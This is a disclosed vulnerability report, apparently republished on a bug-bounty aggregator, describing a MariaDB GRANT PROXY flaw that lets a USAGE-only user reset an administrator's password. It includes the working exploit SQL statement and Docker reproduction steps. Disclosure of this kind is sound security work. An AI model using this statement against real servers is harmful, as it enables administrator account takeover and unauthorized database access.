Skip to content
Access control Disclosed report Advanced CVE-2026-97380

MariaDB GRANT PROXY permits unauthorized authentication changes and administrator account takeover

A MariaDB user holding only the USAGE privilege could issue a GRANT PROXY statement whose grantee clause carried an empty first authentication method followed by a second, attacker-chosen password. Because the empty first node made the server skip its ALTER USER permission check while the persistence code still stored every authentication node, the attacker could log in as an existing administrator with the chosen password and inherit that account's DBA rights.

kevin_mizu Follow

Originally disclosed on HackerOne

High 8.8 View original
  • Disclosed after 49 days

An authenticated MariaDB user with only USAGE ON *.* can change the password of an existing administrator through the grantee clause of GRANT PROXY.

SQL
GRANT PROXY ON 'usage_user'@'%'
TO 'proof_admin'@'%'
IDENTIFIED VIA ''
OR mysql_native_password USING PASSWORD('AttackerChosen-2026');

The empty first authentication method bypasses the authorization check, while the second method is still stored. The attacker can then log in as proof_admin using the chosen password and inherit its existing DBA privileges.

The attacker does not need ALTER USER, CREATE USER, access to the mysql schema, or an existing PROXY grant. The exact target user@host must already exist and must match the attacker's new connection.

Tested on MariaDB 12.3.2 and the repository's 13.1.0 build.

Technical Details

All source links below are pinned to MariaDB/server commit 7322a6656a5357b4574b7413493c76ba2fc41f84.

GRANT PROXY uses the generic grant_list grammar. Its grant_user and auth_expression rules allow IDENTIFIED BY and multi-authentication clauses on grantees.

MariaDB permits a user to grant PROXY access on its own identity in acl_check_proxy_grant_access(). Because the ON account is usage_user@%, the low-privilege caller passes this check and reaches the grantee update code.

Before changing an existing grantee, copy_and_check_auth() relies on LEX_USER::has_auth() to decide whether check_alter_user() is required:

C++
return auth &&
       (auth->plugin.length || auth->auth_str.length || auth->pwtext.length);

has_auth() checks only the first authentication node. When that node is empty, it returns false and MariaDB skips check_alter_user().

The persistence path behaves differently. replace_user_table() iterates and stores every authentication node:

C++
for (USER_AUTH *auth= combo->auth; auth; auth= auth->next)
  nauth++;

Therefore an empty first node suppresses authorization, while a nonempty second node installs an attacker-controlled password on the existing administrator account. The account's original privileges are preserved.

Step to Reproduce

Run this only against a disposable container.

Step 1. Start MariaDB

Bash
docker run --rm -d \
  --name mariadb-proxy-poc \
  -p 127.0.0.1:13306:3306 \
  -e MARIADB_ROOT_PASSWORD='LabRoot-2026' \
  mariadb:12.3.2

until docker exec mariadb-proxy-poc \
  mariadb-admin -uroot -p'LabRoot-2026' ping >/dev/null 2>&1; do
  sleep 1
done
image.png
image.png From the original on HackerOne

Step 2. Create the accounts

Bash
docker exec mariadb-proxy-poc \
  mariadb -uroot -p'LabRoot-2026' -e "
    CREATE USER 'usage_user'@'%'
      IDENTIFIED BY 'UsagePassword-2026';
    GRANT USAGE ON *.* TO 'usage_user'@'%';

    CREATE USER 'proof_admin'@'%'
      IDENTIFIED BY 'OriginalAdminPassword-2026';
    GRANT ALL PRIVILEGES ON *.*
      TO 'proof_admin'@'%' WITH GRANT OPTION;
  "
image.png
image.png From the original on HackerOne

Step 3. Trigger the bug as the USAGE-only user

Bash
docker exec mariadb-proxy-poc \
  mariadb --protocol=tcp -h127.0.0.1 \
  -uusage_user -p'UsagePassword-2026' -e "
    SHOW GRANTS;

    GRANT PROXY ON 'usage_user'@'%'
    TO 'proof_admin'@'%'
    IDENTIFIED VIA ''
    OR mysql_native_password USING PASSWORD('AttackerChosen-2026');
  "

The statement succeeds even though usage_user has only USAGE.

image.png
image.png From the original on HackerOne

Step 4. Log in with the injected administrator password

Bash
docker exec mariadb-proxy-poc \
  mariadb --protocol=tcp -h127.0.0.1 \
  -uproof_admin -p'AttackerChosen-2026' -e "
    SELECT CURRENT_USER();
    SHOW GRANTS;
    CREATE DATABASE proxy_takeover_proof;
  "

Expected result: CURRENT_USER() is proof_admin@%, its original DBA grants remain present, and database creation succeeds.

image.png
image.png From the original on HackerOne

Step 5. Cleanup

Bash
docker stop mariadb-proxy-poc

Impact

A USAGE-only user can take over a known, reachable administrator account and obtain its existing DBA privileges. This can allow reading or modifying databases, creating users, granting privileges, changing server settings, and disrupting the service.

The original report as published on HackerOne, by kevin_mizu. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The authorisation check inspected only the first authentication node of the grantee clause, so an empty first node made it skip the ALTER USER permission check, while the storage routine still saved the later, attacker-supplied password node.

Impact

A USAGE-only user could take over a known, reachable administrator account and obtain its existing DBA privileges, allowing reading or modifying databases, creating users, granting privileges, changing server settings and disrupting the service.

What the attacker needed

An authenticated account with only USAGE; target administrator user@host must exist; attacker can reach the server

How it was found

  1. Start a disposable MariaDB container and wait until it responds.
  2. Create a low-privilege account with only USAGE and a separate administrator account with full privileges.
  3. Log in as the low-privilege user and run a GRANT PROXY statement whose grantee clause contains an empty first authentication method and a second method with a chosen password.
  4. Log in as the administrator using the chosen password and confirm the original DBA grants are still present.
  5. Stop the container to clean up.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In a database, privileges decide what each account may do, and USAGE is the weakest level, meaning almost nothing. The report shows that a low-privilege account could still run a special command that quietly reset a powerful administrator's password, because the server checked only the first of two password settings and ignored the second. Once the password was changed, the attacker simply logged in as the administrator and had full control.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from MariaDB

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.